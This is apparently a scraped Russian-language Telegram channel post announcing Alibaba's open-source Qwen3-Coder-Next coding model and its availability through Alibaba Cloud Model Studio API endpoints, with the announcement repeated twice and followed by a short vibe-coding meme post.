Теперь модель можно использовать в продакшене без локального развёртывания — через масштабируемые и экономичные API-эндпоинты.
Что доступно:
- API для интеграции в приложения и инструменты разработки
- Поддержка в Coding Plan для команд и enterprise-сценариев
- Масштабирование под нагрузку
- Оплата по использованию
Подходит для:
- AI-ассистентов для разработки
- генерации и рефакторинга кода
- CI/CD-автоматизации
- агентных систем и DevOps-инструментов
Документация API: https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&url=2840914_2&modelId=qwen3
Подробности Coding Plan:
https://alibabacloud.com/help/en/model-studio/coding-plan
Alibaba выпустила open-source версию Qwen3-Coder-Next и открыла к ней доступ через Alibaba Cloud Model Studio.
Теперь модель можно использовать в продакшене без локального развёртывания — через масштабируемые и экономичные API-эндпоинты.
Что доступно:
- API для интеграции в приложения и инструменты разработки
- Поддержка в Coding Plan для команд и enterprise-сценариев
- Масштабирование под нагрузку
- Оплата по использованию
Подходит для:
- AI-ассистентов для разработки
- генерации и рефакторинга кода
- CI/CD-автоматизации
- агентных систем и DevOps-инструментов
Документация API: https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&url=2840914_2&modelId=qwen3
Подробности Coding Plan:
https://alibabacloud.com/help/en/model-studio/coding-plan
👍9🥰4❤3
This media is not supported in your browser
VIEW IN TELEGRAM
POV: вот так выглядит вайб-кодинг:
😁51👍11❤4😱3🔥2🕊2💯1